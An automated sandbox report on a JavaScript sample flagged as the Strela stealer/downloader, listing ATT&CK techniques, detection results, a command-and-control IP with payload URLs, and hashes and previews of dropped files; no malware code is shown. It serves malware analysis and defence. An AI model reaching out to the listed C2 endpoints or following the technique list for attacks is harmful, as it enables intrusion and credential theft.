Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
16433207582849010802.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
16433207582849010802.js	10%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/8f	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3365680303.000001EB06000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2175611175.000001EB05EA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/8f	net.exe, 00000007.00000002.2175653852.0000026664265000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2167057410.0000026664265000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2167057410.0000026664265000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2166901102.0000026664280000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sce	net.exe, 00000007.00000002.2175589632.0000026664228000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588525
Start date and time:	2025-01-11 02:03:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	16433207582849010802.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 18.213.11.84, 50.16.47.176, 34.237.241.83, 54.224.241.105, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 20.109.210.53, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:04:47	API Interceptor	42x Sleep call for process: powershell.exe modified
20:04:54	API Interceptor	1x Sleep call for process: net.exe modified
20:04:54	API Interceptor	2x Sleep call for process: svchost.exe modified
20:05:07	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	326391126385512788.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9742962732217849.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5949401323954377.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.830711432634547
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugy:gJjJGtpTq2yv1AuNZRY3diu8iBVqFo
MD5:	9F395F61D3D289E53C7F2A9AB7B08046
SHA1:	7E81B731AD543E2EADDC0C3A92E2C2B7AB94EA3A
SHA-256:	85CAFA63D815EAA748DFBD61CE48E96C5E81AEF4DF7853315C1EE8AFAA5F7203
SHA-512:	981BC7B715E95480F1C8E59514DDEC85E620726517E3DB8AC2A61F17FA48469EB98B31B4307DE7FF9AEE031C98F6A5B463E1D3BF0B60ABE07E7B031DF35EE1A9
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb7a5502a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585360506535144
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	0EB07FF9C1F37A2716F427CAE73DCB3E
SHA1:	8BEED985970B3AA34A57CEB7D59821A48D87885E
SHA-256:	4EB92B74D77EBCCE3D0595C1C4E19EACE2C6060239BC880EFAA2505B197C3903
SHA-512:	5EA9BA83A4E6959EDEF7BAC0F7F816B304C3608B497ABFAED955FFDFFD5B18ED4C8CF6371BCD381612887E41B4E64542C63D596F3CC3CCFFBCFB2CD022B6990B
Malicious:	false
Preview:	..P... ...............X\...;...{......................0.z..........{..6....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................K.7....}.....................7....}'..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07820416691152451
Encrypted:	false
SSDEEP:	3:wjillKYelPmwoGkGuAJkhvekl1tyr9lqllrekGltll/SPj:wji/KzlOwGrxlCQJe3l
MD5:	9BD930C5808500160D0C0CA9E3D86C89
SHA1:	466EE0AB744229E9CA76F241A5B9F24C77909789
SHA-256:	99AC6E07C948669D9F9556AD45F3762AB115D6AA036853C72C5BA9634B2F0232
SHA-512:	DAA502577B8F198C40C9D3CF878BCDD694062AF9FF072FB49B85AFD11BC17838E787CE78D8E51ADDC0FB9BA55B04ABC408D65145E5B86E89C16B9071A5A8C2DB
Malicious:	false
Preview:	9$.......................................;...{..7....}'......{...............{.......{...XL......{....................*.7....}'.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.17496050263319
Encrypted:	false
SSDEEP:	6:iO4qVxVq2P92nKuAl9OmbnIFUtSqVjcogZmwsqVjcoIkwO92nKuAl9OmbjLJ:7nxVv4HAahFUtZj/g/Lj/I5LHAaSJ
MD5:	36A4988B26F8335F325D723DAB532B41
SHA1:	A752AA389E38BA702AE0FB1CAFCD7BB127C5783C
SHA-256:	4A78AC460D3C9DE11AF3FE8A66386F4D4991611CFCEDD54C945BE538154B24C0
SHA-512:	470A4EFC8A065F9AADBC5D50D90C90EA91E06C82F5EB5261B258D28CF86E0C3DDD083B3039643650AD049347CF0FD05A27328DA30ECA9456FC7317CAACD10035
Malicious:	false
Preview:	2025/01/10-20:04:54.668 dd0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:04:54.671 dd0 Recovering log #3.2025/01/10-20:04:54.671 dd0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.17496050263319
Encrypted:	false
SSDEEP:	6:iO4qVxVq2P92nKuAl9OmbnIFUtSqVjcogZmwsqVjcoIkwO92nKuAl9OmbjLJ:7nxVv4HAahFUtZj/g/Lj/I5LHAaSJ
MD5:	36A4988B26F8335F325D723DAB532B41
SHA1:	A752AA389E38BA702AE0FB1CAFCD7BB127C5783C
SHA-256:	4A78AC460D3C9DE11AF3FE8A66386F4D4991611CFCEDD54C945BE538154B24C0
SHA-512:	470A4EFC8A065F9AADBC5D50D90C90EA91E06C82F5EB5261B258D28CF86E0C3DDD083B3039643650AD049347CF0FD05A27328DA30ECA9456FC7317CAACD10035
Malicious:	false
Preview:	2025/01/10-20:04:54.668 dd0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:04:54.671 dd0 Recovering log #3.2025/01/10-20:04:54.671 dd0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.154053439932301
Encrypted:	false
SSDEEP:	6:iO4qVacGjL+q2P92nKuAl9Ombzo2jMGIFUtSqVDSo1ZmwsqVwLVkwO92nKuAl9OU:7nXi+v4HAa8uFUtZDSo1/LwV5LHAa8RJ
MD5:	62D2D1DACC0E0A7AD1BB39BD12165DBC
SHA1:	97557A104A574AD3336BAC478F20120FE61E2719
SHA-256:	015FE71D4FA9A56627530A85FB1906B9EBC8A3A8AE63F23B04A5326D6747FED0
SHA-512:	49D53E9F6FCDA8294F406F74FE7B52CD7391D2C3B94BC27F97ACE7925849F46A0AD4B4AED7961900A997552F058A27765D284838267E7A83BD9B56DE1EC04D5C
Malicious:	false
Preview:	2025/01/10-20:04:54.772 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:04:54.773 1c9c Recovering log #3.2025/01/10-20:04:54.774 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.154053439932301
Encrypted:	false
SSDEEP:	6:iO4qVacGjL+q2P92nKuAl9Ombzo2jMGIFUtSqVDSo1ZmwsqVwLVkwO92nKuAl9OU:7nXi+v4HAa8uFUtZDSo1/LwV5LHAa8RJ
MD5:	62D2D1DACC0E0A7AD1BB39BD12165DBC
SHA1:	97557A104A574AD3336BAC478F20120FE61E2719
SHA-256:	015FE71D4FA9A56627530A85FB1906B9EBC8A3A8AE63F23B04A5326D6747FED0
SHA-512:	49D53E9F6FCDA8294F406F74FE7B52CD7391D2C3B94BC27F97ACE7925849F46A0AD4B4AED7961900A997552F058A27765D284838267E7A83BD9B56DE1EC04D5C
Malicious:	false
Preview:	2025/01/10-20:04:54.772 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:04:54.773 1c9c Recovering log #3.2025/01/10-20:04:54.774 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\988409fb-caee-45ba-80a8-f229ef4ea2f2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.054528788364774
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqKsBdOg2Hxgcaq3QYiubxnP7E4T3OF+:Y2sRdsGdMHxL3QYhbxP7nbI+
MD5:	648D40103EB00527986BDC38C6545BC2
SHA1:	94F06BA705CB603A87B76B1789FF763C6D75689F
SHA-256:	AD4AE39ABC0FDF5101FACEE9AF8B3A0715A907640100E6A2B6C054342057C41D
SHA-512:	CC791796296CD1BA13B63B49482A935CE3477B85F46727831085BC5B7C9F45EC1565232C42C66D4B8613E76FE11051D32BBE2094872750C0BBE257C1E7466D54
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117506734567","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":172413},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.054528788364774
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqKsBdOg2Hxgcaq3QYiubxnP7E4T3OF+:Y2sRdsGdMHxL3QYhbxP7nbI+
MD5:	648D40103EB00527986BDC38C6545BC2
SHA1:	94F06BA705CB603A87B76B1789FF763C6D75689F
SHA-256:	AD4AE39ABC0FDF5101FACEE9AF8B3A0715A907640100E6A2B6C054342057C41D
SHA-512:	CC791796296CD1BA13B63B49482A935CE3477B85F46727831085BC5B7C9F45EC1565232C42C66D4B8613E76FE11051D32BBE2094872750C0BBE257C1E7466D54
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117506734567","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":172413},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.238742912339255
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUH1Bk8M:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLN
MD5:	9BB740E047EECB8CB364B64B5AFC467C
SHA1:	FDCEA5AA3F0489D18A1F48BEF3131A36F03F4F0A
SHA-256:	236FE0963591257A75768FB12B419B21B946029793A7E8D9A7C48ABEB6711F8C
SHA-512:	EE34A013BC859CDB38E997271F902B18708A7ADE9D58E5457FB3CF4E9ECFE2017050806B9C48DFABA50FB27E9E2D310FCD4D73A23BC0F5ABAD04B1BB16E9C745
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1764445832883785
Encrypted:	false
SSDEEP:	6:iO4qVl4+L+q2P92nKuAl9OmbzNMxIFUtSqVlQJco1ZmwsqVlpjLVkwO92nKuAl9c:7nR+v4HAa8jFUtZKJl1/LzV5LHAa84J
MD5:	F8BAB6E5B29DBA35633362CF3AD3EE3E
SHA1:	1C9EA1AE7600A7AE5DC66DC3757D8CEB73E6F360
SHA-256:	8DD2A5341A9731ED35A212286270D2AFAEBEABF430BCDF8B69BA7E0675FBFD04
SHA-512:	B7F993C630F595B0CB2E1D3E0323B2C281D44FE7503E481B6153172F6694756F613880FC69A97D3B332AFAF097B46C58AFEF7E0EFFAB083CDE6128026FDEE1AA
Malicious:	false
Preview:	2025/01/10-20:04:54.834 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:04:54.835 1c9c Recovering log #3.2025/01/10-20:04:54.836 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1764445832883785
Encrypted:	false
SSDEEP:	6:iO4qVl4+L+q2P92nKuAl9OmbzNMxIFUtSqVlQJco1ZmwsqVlpjLVkwO92nKuAl9c:7nR+v4HAa8jFUtZKJl1/LzV5LHAa84J
MD5:	F8BAB6E5B29DBA35633362CF3AD3EE3E
SHA1:	1C9EA1AE7600A7AE5DC66DC3757D8CEB73E6F360
SHA-256:	8DD2A5341A9731ED35A212286270D2AFAEBEABF430BCDF8B69BA7E0675FBFD04
SHA-512:	B7F993C630F595B0CB2E1D3E0323B2C281D44FE7503E481B6153172F6694756F613880FC69A97D3B332AFAF097B46C58AFEF7E0EFFAB083CDE6128026FDEE1AA
Malicious:	false
Preview:	2025/01/10-20:04:54.834 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:04:54.835 1c9c Recovering log #3.2025/01/10-20:04:54.836 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklfPGDtfllXlE/HT8k9h/ltNNX8RolJuRdxLlGB9lQRYwpDdt:kK6yeT88JdNMa8RdWBwRd
MD5:	BFA07A1D1D8EC8F80CC5D2E355B67950
SHA1:	6210514227AE4F76048301F97FF84674B4E15EDC
SHA-256:	031F11903C2D8EDE31CD59C552CE9DC96A4419B8BFA07E0F7110C19FA1D9D3C9
SHA-512:	F2191F3F39B9281A32F1892EAF566BF6D1393094DF1EFA4835BF5A7243DFB7FB4FC481615272BD06BB84096A3E65B3D65D963B8799A379C2A1AE0A01AA5EE55E
Malicious:	false
Preview:	p...... ...........c..(....................................................... ..........W....a...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat 